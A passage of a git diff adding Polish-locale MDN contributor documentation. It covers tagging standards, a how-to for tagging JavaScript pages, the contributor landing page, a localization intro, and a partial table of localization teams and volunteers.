+ <td>{{Tag("Add-ons ")}}|| {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Games</td>
+ <td>{{Tag("Games")}}</td>
+ </tr>
+ <tr>
+ <th>Skill level</th>
+ <td>I'm an Expert</td>
+ <td>{{Tag("Advanced")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Intermediate</td>
+ <td>{{Tag("Intermediate")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>I'm Learning</td>
+ <td>{{Tag("Beginner")}}</td>
+ </tr>
+ <tr>
+ <th>Document type</th>
+ <td>Docs</td>
+ <td><em>This restricts the search to docs content, leaving out Hacks and other MDN content.</em></td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Demos</td>
+ <td><em>This includes Demo Studio content in the search results.</em></td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Tools</td>
+ <td>{{Tag("Tools")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Code Samples</td>
+ <td>{{Tag("Example")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>How-To &amp; Tutorial</td>
+ <td>{{Tag("Guide")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Developer Profiles</td>
+ <td><em>This includes developer profiles from the MDN site in the search results.</em></td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>External Resources</td>
+ <td><em>The dev team is still figuring this out...</em></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Tagging_problems_you_can_fix">Tagging problems you can fix</h2>
+
+<p>There are several kinds of tag problems you can help fix:</p>
+
+<dl>
+ <dt>No tags</dt>
+ <dd>Generally articles should have at <em>least</em> a "<a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards#Category" title="/en-US/docs/Project:MDN/Contributing/Tagging_standards#Categories">category</a>" tag and a "<a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards#Topic" title="/en-US/docs/Project:MDN/Contributing/Tagging_standards#Topic">topic</a>" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!</dd>
+ <dt>Tags that don't follow our tagging standards</dt>
+ <dd>Please fix any documents whose tags don't follow the standards on this page.<br>
+ Note that due to a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048">bug in Kuma</a>, some localized tags (such as <code>Référence</code>) may show up on some English pages. These tags are likely to reappear even if you delete them; don't bother trying to fix them until the Kuma bug is fixed.</dd>
+ <dt>Incorrect tags</dt>
+ <dd>If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).</dd>
+ <dt>Missing tags</dt>
+ <dd>If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!</dd>
+ <dt>Tag spam</dt>
+ <dd>This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.</dd>
+</dl>
+
+<p>If you see one (or more) of these problems, please <a href="/en-US/docs/Project:MDN/Contributing/Getting_started#Logging_into_MDN">log into MDN</a> and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "<a href="/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box" title="/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box">The tags box</a>" in the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide" title="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN editor guide</a>.</p>
diff --git a/files/pl/mdn/contribute/howto/tag_javascript_pages/index.html b/files/pl/mdn/contribute/howto/tag_javascript_pages/index.html
new file mode 100644
index 0000000000..4d0f8b785f
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/tag_javascript_pages/index.html
@@ -0,0 +1,75 @@
+---
+title: How to tag JavaScript pages
+slug: MDN/Contribute/Howto/Tag_JavaScript_pages
+tags:
+ - JavaScript
+ - MDN
+ - Poradnik
+translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary"><strong>Tagowanie</strong> opiera się na dodawaniu meta-danych do stron, tak aby powiązane ze sobą treści mogły być grupowane - przykładowo na potrzeby wyszukiwania.</p>
+
+<dl>
+ <dt><strong>Gdzie jest to potrzebne?</strong></dt>
+ <dd>Na konkretnych <a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">stronach związanych z JavaScriptem, na których jeszcze nie ma tagów</a></dd>
+ <dt><strong>Co musisz wiedzieć, aby wykonać tą czynność?</strong></dt>
+ <dd>Podstawowa wiedza o programowaniu w JavaScripcie - przykładowo wiedzieć, czym jest metoda lub właściwość obiektu.</dd>
+ <dt><strong>Jakie są kroki?</strong></dt>
+ <dd>
+ <ol>
+ <li>Wyberz jedną ze stron z listy w odnośniku powyżej</li>
+ <li>Kliknij na odnośniku do artykułu, aby załadować jego stronę.</li>
+ <li>Gdy strona się załaduje, kliknij przycisk <strong>EDYTUJ</strong>, zlokalizowany nad artykułem; uruchomiony zostanie edytor MDN.</li>
+ <li>Przynajmniej tag <code>JavaScript</code> powinien być dodany. Oto inne przykładowe tagi, które mogą być dodane:
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Tag</th>
+ <th scope="col">Na jakich stronach użyć</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>Method</code></td>
+ <td>metody</td>
+ </tr>
+ <tr>
+ <td><code>Property</code></td>
+ <td>właściwości</td>
+ </tr>
+ <tr>
+ <td><code>prototype</code></td>
+ <td>prototypy</td>
+ </tr>
+ <tr>
+ <td>Nazwa typu obiektu</td>
+ <td>metody danego obiektu; przykładowo metoda String.fromCharCode powinna mieć tag <code>String</code></td>
+ </tr>
+ <tr>
+ <td><code>ECMAScript6 i</code> <code>Experimental</code></td>
+ <td>funkcjonalności dodane w nowych wersjach ECMAScript</td>
+ </tr>
+ <tr>
+ <td><code>Deprecated</code></td>
+ <td>przestarzałe funkcjonalności (wciąż są wspierane, ale nie zaleca się ich używania)</td>
+ </tr>
+ <tr>
+ <td><code>Obsolete</code></td>
+ <td>wycofane funkcjonalności (nie są już wspierane przez współczesne przeglądarki)</td>
+ </tr>
+ <tr>
+ <td>inne</td>
+ <td>Zobacz artykuł <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">Standardy tagowania MDN</a> aby przejrzeć inne tagi, które można dodać</td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+ <li>Zapisz wraz z komentarzem.</li>
+ <li>Zrobione!</li>
+ </ol>
+ </dd>
+</dl>
+
+<p> </p>
diff --git a/files/pl/mdn/contribute/index.html b/files/pl/mdn/contribute/index.html
new file mode 100644
index 0000000000..ba1c6d5321
--- /dev/null
+++ b/files/pl/mdn/contribute/index.html
@@ -0,0 +1,92 @@
+---
+title: Contributing to MDN
+slug: MDN/Contribute
+tags:
+ - Documentation
+ - Guide
+ - Landing
+ - MDN
+ - NeedsTranslation
+ - TopicStub
+translation_of: MDN/Contribute
+---
+<div>{{MDNSidebar}}</div><p>Welcome! By visiting this page, you've taken the first step toward becoming a contributor to MDN. <span class="seoSummary">The guides here cover all aspects of contributing to MDN, including style guides, guides to using our editor and tools, and more.</span></p>
+<div class="row topicpage-table">
+ <div class="section">
+ <h2 id="Contributor_guides">Contributor guides</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/MDN/Getting_started">Getting started</a></dt>
+ <dd>
+ A quick start guide to getting set up and making your first contribution.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Style_guide">Content and style guide</a></dt>
+ <dd>
+ The MDN content and style guide provides details about writing style, page layout, and content styles, so that the content you write fits in with the rest of MDN's content.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Editor">Editor guide</a></dt>
+ <dd>
+ A complete guide to using MDN's editor.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Reviewing_articles">Reviewing articles</a></dt>
+ <dd>
+ A guide to performing technical and editorial reviews of articles' content, to help us ensure that all content on MDN is as useful and readable as can be!</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Conventions">Terminology and conventions</a></dt>
+ <dd>
+ Our terminology and conventions guide provides information you can use to ensure that you use the correct terminology to describe things.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Community">Working with the MDN community</a></dt>
+ <dd>
+ A guide to working with our community, finding help, and connecting with the people with the answers to the questions that arise while you contribute to MDN.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/FAQ">Frequently asked questions</a></dt>
+ <dd>
+ Tips and answers to the most common questions about contributing to MDN.</dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/MDN/Kuma/Contributing">Contributing to Kuma</a></dt>
+ <dd>
+ A guide to contributing to the Kuma project. Kuma is the platform that powers the MDN Web site.</dd>
+ </dl>
+ </div>
+ <div class="section">
+ <h2 id="How_to...">How to...</h2>
+ <p>Our <a href="/en-US/docs/MDN/Contribute/Howto">how-to guides</a> provide step-by-step instructions to help you accomplish specific tasks when contributing to MDN.</p>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Howto/Document_a_CSS_property">How to document a CSS property</a></dt>
+ <dd>
+ A guide to writing documentation of CSS properties. All CSS property documents should match the style and layout described in this article.</dd>
+ <dt>
+ How to document an HTML element</dt>
+ <dd>
+ This guide to documenting HTML elements will ensure that the documents you write match others on MDN.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Howto/Tag">How to properly tag pages</a></dt>
+ <dd>
+ This guide to tagging pages provides information about our standards for tagging, including lists of tags that have standard meanings on MDN. Following this guide will ensure that your content is properly categorized, more easily searchable, and that our search filtering mechanism works properly with your articles.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Howto/Interpret_specifications">How to interpret specifications</a></dt>
+ <dd>
+ This guide will help you to properly interpret standard Web specifications; being able to read these can be an art form, and knowing how to do it will help you produce better documentation.</dd>
+ </dl>
+ <h2 id="Localization">Localization</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Localize/Tour">Localization guided tour</a></dt>
+ <dd>
+ This guided tour will teach you how to localize content on MDN.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Localize/Guide">Localization guide</a></dt>
+ <dd>
+ This guide provides details about the localization process for MDN content.</dd>
+ <dt>
+ <a href="/en-US/docs/MDN/Contribute/Localize/Localization_projects">Localization projects</a></dt>
+ <dd>
+ Find the localization project for your language—or, if there isn't one, learn how to start a new one!</dd>
+ </dl>
+ </div>
+</div>
+<p> </p>
diff --git a/files/pl/mdn/contribute/localize/index.html b/files/pl/mdn/contribute/localize/index.html
new file mode 100644
index 0000000000..f73e84ba19
--- /dev/null
+++ b/files/pl/mdn/contribute/localize/index.html
@@ -0,0 +1,33 @@
+---
+title: Lokalizowanie MDN
+slug: MDN/Contribute/Localize
+tags:
+ - Dokumentacja
+ - Lokalizacja
+ - MDN
+translation_of: MDN/Contribute/Localize
+---
+<div>{{MDNSidebar}}</div><p>MDN jest wykorzystywany przez ludzi na całym świecie jako punkt odniesienia i przewodnik po technologiach sieciowych, jak również po samym wnętrzu Firefox. Nasze społeczności lokalizacyjne są kluczowym elementem projektu Mozilla; ich praca w tłumaczeniu i lokalizacji naszej dokumentacji pomaga ludziom z całego świata rozwijać się dla otwartej sieci internetowej. Jeśli chcesz dowiedzieć się więcej o naszych zespołach lokalizacyjnych, dołącz do jednego z nich lub nawet zacznij nową lokalizację, to jest miejsce aby zacząć.</p>
+
+<dl>
+ <dt>
+ <h2 id="Narzędzia_lokalizacyjne">Narzędzia lokalizacyjne</h2>
+ </dt>
+</dl>
+
+<p>Istnieje kilka przydatnych narzędzi, których będziesz używał podczas pracy lokalizacyjnej:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim" title="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">Verbatim</a></dt>
+ <dd>Używany do tłumaczenia komunikatów w wielu projektach Mozilla, w tym interfejsu użytkownika MDN (jak również interfejsu użytkownika Firefox).</dd>
+ <dt><a href="http://transvision.mozfr.org/" title="http://transvision.mozfr.org/">Transvision</a></dt>
+ <dd>Narzędzie dostarczone przez Mozilla France, które umożliwia Ci wyszukiwanie niepożądanych wystąpień w języku angielskim, znajdując wszystkie różne tłumaczenia w lokalizacji docelowej, które są używane w całym kodzie Mozilli.</dd>
+ <dd>Przydatne do znajdowania preferowanego tłumaczenia dla słowa lub wyrażenia.</dd>
+ <dt>
+ <h2 id="Zobacz_również">Zobacz również</h2>
+ </dt>
+</dl>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Localization" title="/en-US/docs/Mozilla/Localization">Lokalizacja w Mozilli</a></li>
+</ul>
diff --git a/files/pl/mdn/contribute/localize/localization_projects/index.html b/files/pl/mdn/contribute/localize/localization_projects/index.html
new file mode 100644
index 0000000000..f3155e3b8f
--- /dev/null
+++ b/files/pl/mdn/contribute/localize/localization_projects/index.html
@@ -0,0 +1,309 @@
+---
+title: Projekty lokalizacyjne
+slug: MDN/Contribute/Localize/Localization_projects
+tags:
+ - Lokalizacja
+ - MDN
+ - Projekt MDC
+translation_of: MDN/Contribute/Localize/Localization_projects
+---
+<div><section class="Quick_links" id="Quick_Links">
+ <ol>
+ <li class="toggle">
+ <details>
+ <summary>About MDN</summary>
+ <ol>
+ <li><a href="/pl/docs/MDN/About">About MDN</a></li>
+ <li><a href="/pl/docs/MDN/About/Reading">MDN guide for readers</a></li>
+ <li><a href="/pl/docs/MDN/About/Promote">Promote MDN</a></li>
+ <li><a href="/pl/docs/MDN/Feedback">Send feedback about MDN</a></li>
+ </ol>
+ </details>
+ </li>
+ <li class="toggle">
+ <details>
+ <summary>Get started on MDN</summary>
+ <ol>
+ <li><a href="/pl/docs/MDN/Getting_started">Get started on MDN</a></li>
+ </ol>
+ </details>
+ </li>
+ <li class="toggle">
+ <details>
+ <summary>Help improve MDN</summary>
+ <ol>
+ <li><a href="/pl/docs/MDN/Contribute">Help improve MDN</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Howto">Things you can do</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Localize">Localizing MDN</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Editor">MDN editor UI</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Tools">Tools for power users</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Guidelines">Guidelines</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Processes">Work processes</a></li>
+ <li><a href="/pl/docs/MDN/Contribute/Structures">Content structures</a></li>
+ </ol>
+ </details>
+ </li>
+ <li class="toggle">
+ <details>
+ <summary>Kuma: the MDN wiki platform</summary>
+ <ol>
+ <li><a href="/pl/docs/MDN/Kuma">Kuma: the MDN wiki platform</a></li>
+ </ol>
+ </details>
+ </li>
+ <li class="toggle">
+ <details>
+ <summary>Join the MDN community</summary>
+ <ol>
+ <li><a href="/pl/docs/MDN/Community">Join the MDN community</a></li>
+ </ol>
+ </details>
+ </li>
+ <li class="toggle">
+ <details>
+ <summary>Doc status by topic</summary>
+ <ol>
+ <li><a href="/pl/docs/MDN/Doc_status">Doc status by topic</a></li>
+ <li><a href="/pl/docs/MDN/Doc_status/Overview">Are we documented yet?</a></li>
+ </ol>
+ </details>
+ </li>
+ </ol>
+</section></div><p><span class="seoSummary">Cała lokalizacja i tłumaczenie na MDN odbywa się przez naszą wspaniałą społeczność wolontariuszy. Ten artykuł zawiera listę projektów lokalizacyjnych, ich liderów i współpracowników, a także inne bliższe dane.</span></p>
+
+<p>Lider projektu lokalizacyjnego to osoba, która przewodzi społeczności lokalizacyjnej MDN, prowadząc swoją pracę w lokalizacji zawartości dla konkretnego regionu lub tematu. Liderzy projektów lokalizacyjnych (i ich zespoły) powinny utrzymywać swoje dane w poniższej tabeli, tak aby zainteresowani współpracownicy mogli się z nimi kontaktować, aby zaoferować swoją pomoc. Każdy lider lokalizacji (albo każdy w zespole projektu lokalizacyjnego) jest zachęcany do tworzenia strony wiki swojego zespołu lokalizacyjnego do wykorzystania go w organizacji i administracji.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Language</th>
+ <th style="width: 12em;">Localization Lead</th>
+ <th>Contributors</th>
+ <th>
+ <p>Notes</p>
+ </th>
+ </tr>
+ <tr>
+ <td>Azerbaijani</td>
+ <td> </td>
+ <td><a href="/profiles/mastizada">Emin Mastizada</a></td>
+ <td>We need more contributers (doc for localization help will be added)</td>
+ </tr>
+ <tr>
+ <td>
+ <p>(Urdu)</p>
+
+ <p>اردو</p>
+ </td>
+ <td><a href="/profiles/Vaqas Iqbal">Vaqas Iqbal</a></td>
+ <td><a href="/profiles/Vaqas Iqbal">Vaqas Iqbal</a></td>
+ <td>Mozilla Karachi Accepting translators to translate MDN into Urdu</td>
+ </tr>
+ <tr>
+ <td>
+ <p>ગુજરાતી</p>
+
+ <p>(Gujarati)</p>
+ </td>
+ <td><a href="/profiles/prafull_satasiya">prafull_satasiya</a></td>
+ <td><a href="/profiles/prafull_satasiya">prafull_satasiya</a></td>
+ <td>We need translator</td>
+ </tr>
+ <tr>
+ <td>العربية</td>
+ <td> </td>
+ <td><a href="/profiles/wassim_h">wassim_h</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Persian</td>
+ <td> </td>
+ <td><a href="/profiles/amir.farsi">Amir Farsi</a>, <a href="/profiles/kazem82">Kazem Ebrahimi</a></td>
+ <td>We accept and need translators</td>
+ </tr>
+ <tr>
+ <td>Bengali (Bangladesh)</td>
+ <td><a href="/profiles/shafiul">Shafiul Azam Chowdhury</a></td>
+ <td>
+ <p><a href="/profiles/tuxboy">tuxboy</a>, <a href="/profiles/shafiul">shafiul</a>, <a href="/profiles/nasirkhan">Nasir Khan Saikat</a>, <a href="/profiles/towfiqueanam">Towfique Anam Rine</a>, <a href="/profiles/pink.devil.tanha">Tanha Islam</a>, <a href="/profiles/badsha_eee">Sekander Badsha</a><span id="cke_bm_269E" style="display: none;"> </span>, <a href="/profiles/mimzi_fahia">Fahia Nasnin</a>, <a href="/profiles/desh">Salman Rahman Desh</a>, <a href="/profiles/jaggedzak">jaggedzak</a>, <a href="/profiles/anistuhin">Md Anisur Rahman</a></p>
+ </td>
+ <td>Mozilla Bangladesh Team is looking for new contributors. <a href="/bn-BD/docs/Project:MDN/%E0%A6%85%E0%A6%AC%E0%A6%A6%E0%A6%BE%E0%A6%A8/mozillabd-l10n-team">Find more here</a></td>
+ </tr>
+ <tr>
+ <td>French</td>
+ <td><a href="/profiles/Jeremie">Jeremie Patonnier</a></td>
+ <td><a href="/profiles/FredB">FredB</a>, <a href="/profiles/Chbok">Alain Boquet</a>, <a href="/profiles/Fredchat">Fréderic Chateaux</a>, <a href="/profiles/VincentN">Vincent N.</a>, <a href="/profiles/BenoitL">Benoit Leseul</a>, <a href="/profiles/Shz">Shz</a>, <a href="/profiles/tregagnon">Thierry Régagnon (tregagnon)</a>, <a href="/profiles/xaky">xaky</a>, <a href="/profiles/Goofy">Goofy</a>, <a href="/profiles/sylzys">sylzys</a>, <a href="/profiles/the%20prisoner">the prisoner</a>, <a href="/profiles/Julien%20STUBY">Julien STUBY</a>, <a href="/profiles/poum">poum</a>, <a href="/profiles/sylvie">sylvie</a>, <a href="/profiles/Delapouite">Delapouite</a>, <a href="/profiles/SphinxKnight">Sphinx</a></td>
+ <td>(notes or URL to translation project team page)</td>
+ </tr>
+ <tr>
+ <td>Italian</td>
+ <td> </td>
+ <td><a href="/profiles/Federico">Federico</a>, <a href="/profiles/mck89">mck89</a>, <a href="/profiles/marcostudios">marcostudios</a>, <a href="/profiles/loris94">loris94</a>, <a href="/profiles/MrW0lf">MrW0lf</a>, <a href="/profiles/Iacchi">Iacchi</a>, <a href="/profiles/camaleo">camaleo</a>, <a href="/profiles/marcantonio">marcantonio</a>, <a href="/profiles/Grino">Grino</a>, <a href="/profiles/Nicola_D">Nicola_D</a>, <a href="/profiles/EdoPut">EdoPut</a>, <a href="/profiles/Giona">Giona</a>, <a href="/profiles/klez">klez</a></td>
+ <td>Mozilla Italia looking for contributors! If you want to help localizing MDN, please check <a href="/it/docs/MDN/Contribute/Localize/GuidaItaliano">this guide</a> to learn how we translate MDN.</td>
+ </tr>
+ <tr>
+ <td>Indonesian</td>
+ <td> </td>
+ <td><a href="/profiles/ariestiyansyah">ariestiyansyah</a>, <a href="/profiles/pieteru_insekai">Pieter Erlanda</a>,  <a href="/profiles/imrizal">imrizal</a>, <a href="/profiles/lunybear79999">lunybear79999</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Japanese</td>
+ <td> </td>
+ <td><a href="/profiles/Kohei">Yoshino(ex.Mozilla Japan)</a>, <a href="/profiles/Yuichiro">Yuichiro</a>, <a href="/profiles/myakura">myakura(Masataka Yakura)</a>, <a href="/profiles/yyss">yyss</a>, <a href="/profiles/ethertank">ethertank</a>, <a href="/profiles/sosleepy">sosleepy</a>, <a href="/profiles/Marsf">Marsf(Masahiko Imanaka)</a>, <a href="/profiles/Masayuki">Masayuki</a>, <a href="/profiles/nobuoka">nobuoka</a>, <a href="/profiles/yoshitanaka">yoshitanaka</a>, <a href="/profiles/taguchi-ch">taguchi-ch</a>, <a href="/profiles/sii">sii</a>, <a href="/profiles/saneyuki_s">saneyuki_s</a>, <a href="/profiles/Shimono">Shimono(Atsushi Shimono)</a>, <a href="/profiles/Taken">Taken(Takeshi Kurosawa)</a>, <a href="/profiles/Electrolysis">Electrolysis</a>, <a href="/profiles/dextra">dextra</a>, <a href="/profiles/Potappo">Potappo</a>, <a href="/profiles/dynamis">dynamis (Tomoya Asai)</a>, <a href="/profiles/mantaroh">mantaroh</a>, <a href="/profiles/hamasaki">hamasaki</a></td>
+ <td>We are taking a bit long time in transition from old resources, <a href="https://developer.mozilla.org/ja/docs/Project:%E6%97%A5%E6%9C%AC%E8%AA%9E%E7%89%88">MDC Japan Project</a> (-2009), those include some of useful information.</td>
+ </tr>
+ <tr>
+ <td>Lao ພາສາລາວ</td>
+ <td> </td>
+ <td>Anousak Souphavanh, Angkhan Buasavanh, Phaynalinh Sypasert, Sulaxay Manivong, <a href="/profiles/rcampbelllaos">Robert M Campbell</a>, <a href="/profiles/laothor777">Lao Thor</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Polish</td>
+ <td> </td>
+ <td><a href="/profiles/Ptak82">Tomasz Sokół</a>, <a href="/profiles/Marcoos">Marcoos(Marek Stępień)</a>, <a href="/profiles/Dapi">Dapi</a>, <a href="/profiles/ijohnnyjohnny">Daniel M</a>,</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Spanish</td>
+ <td><a href="/profiles/maedca">Manuel Camacho</a></td>
+ <td><a href="/profiles/Nukeador">Nukeador</a>, <a href="/profiles/Superruzafa">Superruzafa</a>, <a href="/profiles/vhanla">vhanla</a>, <a href="/profiles/maedca">maedca</a>, <a href="/profiles/inma_610">inma_610</a>, <a href="/profiles/ccarruitero">ccarruitero</a>, <a href="/profiles/artopal">artopal</a>, <a href="/profiles/StripTM">StripTM</a>, <a href="/profiles/Jorge.villalobos">Jorge.villalobos</a>, <a href="/profiles/Scipion">Scipion</a>, <a href="/profiles/Verruckt">Verruckt</a>, <a href="/profiles/Nathymig">Nathymig</a>, <a href="/profiles/Rkovac">Rkovac</a>, <a href="/profiles/ajimix">ajimix</a>, <a href="/profiles/mhauptma73">mhauptma73</a>, <a href="/profiles/deimidis">deimidis</a>, <a href="/profiles/Joalar">Joalar</a>, <a href="/profiles/Maharba">Maharba</a>, <a href="/profiles/jessest">jessest</a>, <a href="/profiles/MPoli">MPoli</a>, <a href="/profiles/nekside">Daniel Pereyra</a>, <a href="/profiles/luisgm76">luisgm76</a>, <a href="/profiles/LeoHirsch">LeoHirsch</a>, <a href="/profiles/gorrotowi">gorrotowi</a></td>
+ <td>We really need more translators</td>
+ </tr>
+ <tr>
+ <td>Portuguese (Brazil)</td>
+ <td> </td>
+ <td><a href="/profiles/jaydson">Jaydson Gomes</a>, <a href="/profiles/galvao">Galvão</a>, <a href="/profiles/atilafassina">Atila</a>, <a href="/profiles/francisco.hansen">francisco.hansen</a>, <a href="/profiles/francineemilia">francineemilia</a>, <a href="/profiles/battisti">battisti</a>, <a href="/profiles/jpalharini">jpalharini</a>, <a href="/profiles/LeonardoPacheco">LeonardoPacheco</a>, <a href="/profiles/Lehrerschuler">Lehrerschuler</a>, <a href="/profiles/hsteffano">hsteffano</a>, <a href="/profiles/lfz">lfz</a>, <a href="/profiles/-pedrohenrique-">-pedrohenrique-</a>, <a href="/profiles/eduardodx">eduardodx</a>, <a href="/profiles/mateus.m.luna">mateus.m.luna</a>, <a href="/profiles/josivansilva">josivansilva</a>, <a href="/profiles/TelaSocial">TelaSocial</a>, <a href="/profiles/mazulo">mazulo</a>, <a href="/profiles/vlopez5">vlopez5</a>, <a href="/profiles/robsonds">robsonds</a>, <a href="/profiles/HenriqueSilverio">HenriqueSilverio</a>, <a href="/profiles/srsaude">srsaude</a></td>
+ <td><a href="http://mzl.la/Odmaq9">Como ajudar a MDN</a></td>
+ </tr>
+ <tr>
+ <td>Portuguese (Portugal)</td>
+ <td> </td>
+ <td><a href="/profiles/Leandro%20Mercês%20Xavier">Leandro%20Mercês%20Xavier</a>, <a href="/profiles/msvolenski">msvolenski</a>, <a href="/profiles/Luis%20Henrique%20Sousa">Luis%20Henrique%20Sousa</a>, <a href="/profiles/f.sanxz">f.sanxz</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Korean</td>
+ <td><a href="/profiles/Channy">Channy</a></td>
+ <td><a href="/ko/docs/Project:Korean_Contributors">Korean Contributors</a></td>
+ <td><a href="http://groups.google.com/group/mdckorea">Google Groups</a></td>
+ </tr>
+ <tr>
+ <td>German</td>
+ <td><a href="/profiles/fscholz">fscholz</a></td>
+ <td><a href="/profiles/eminor">eminor</a>, <a href="/profiles/AlexPl">AlexPl</a>, <a href="/profiles/Sprottenwels">Sprottenwels</a>, <a href="/profiles/tessarakt3">tessarakt3</a>, <a href="/profiles/jwl">jwl</a>, <a href="/profiles/SJW">SJW</a>, <a href="/profiles/HolgerSinn.Com">Holger Sinn</a>, <a href="/profiles/SebastianZ">Sebastian Zartner</a></td>
+ <td>We really need more translators</td>
+ </tr>
+ <tr>
+ <td>
+ <p>Greek</p>
+ </td>
+ <td> </td>
+ <td><a href="/profiles/syssgx">syssgx</a>, <a href="/profiles/JasnaPaka">JasnaPaka</a>, <a href="/profiles/DJ.Maca">DJ.Maca</a></td>
+ <td>We need more translators</td>
+ </tr>
+ <tr>
+ <td>Russian</td>
+ <td> </td>
+ <td><a href="/profiles/Cobalt747">Cobalt747</a>, <a href="/profiles/Sky_Fox">Sky_Fox</a>, <a href="/profiles/Chernetsky">Chernetsky</a>, <a href="/profiles/uleming">uleming</a>, <a href="/profiles/karasiov">karasiov</a>, <a href="/profiles/Dionys">Dionys</a>, <a href="/profiles/Megapotz">Megapotz</a>, <a href="/profiles/hazestalker">hazestalker</a>, <a href="/profiles/Kwinto">Kwinto</a>, <a href="/profiles/kup">kup</a></td>
+ <td>We need more translators</td>
+ </tr>
+ <tr>
+ <td>正體中文 (繁體)</td>
+ <td><a href="/profiles/irvinfly">irvinfly</a></td>
+ <td><a href="/profiles/BobChao">BobChao</a>, <a href="/profiles/dwchiang">dwchiang</a>, <a href="/profiles/happysadman">happysadman</a>, <a href="/profiles/petercpg">petercpg</a>, <a href="/profiles/sailplaneTW">sailplaneTW</a>, <a href="/profiles/Kourge">Kourge</a>, <a href="/profiles/Josesun">Josesun</a>, <a href="/profiles/Sonrisa">Sonrisa</a>, <a href="/profiles/Kennyluck">Kennyluck</a>, <a href="/profiles/sycheng">sycheng</a>, <a href="/profiles/naihsi">naihsi</a>, <a href="/profiles/evelynhung">evelynhung</a>, <a href="/profiles/ypwalter">ypwalter</a>, <a href="/profiles/steely.wing">steely.wing</a></td>
+ <td>我們需要更多貢獻者,請到 <a href="https://groups.google.com/group/moztw-general">MozTW-general 郵件群組</a>與我們聯繫!</td>
+ </tr>
+ <tr>
+ <td>
+ <p>中文 (简体)</p>
+ </td>
+ <td>ziyunfei</td>
+ <td></td>
+ <td><span style="line-height: 1.5;">如有问题讨论,请加 QQ 群 26079139 咨询带头人。</span></td>
+ </tr>
+ <tr>
+ <td>Hebrew</td>
+ <td> </td>
+ <td><a href="/profiles/ziv">ziv</a>, <a href="/profiles/Inkbug">Inkbug</a></td>
+ <td>We need more translators</td>
+ </tr>
+ <tr>
+ <td>Romanian</td>
+ <td> </td>
+ <td><a href="/profiles/raul.malea">Raul Malea</a>, <a href="/profiles/Andrew_Pham">Andrew_Pham</a>,<a href="/profiles/Niutenisu">Niutenisu</a></td>
+ <td>We need more translators.</td>
+ </tr>
+ <tr>
+ <td>Telugu</td>
+ <td> </td>
+ <td><a href="/profiles/Dyvik">Dyvik</a>, <a href="/profiles/ganesht">ganesht</a></td>
+ <td>We really need more translators</td>
+ </tr>
+ <tr>
+ <td>Thai</td>
+ <td> </td>
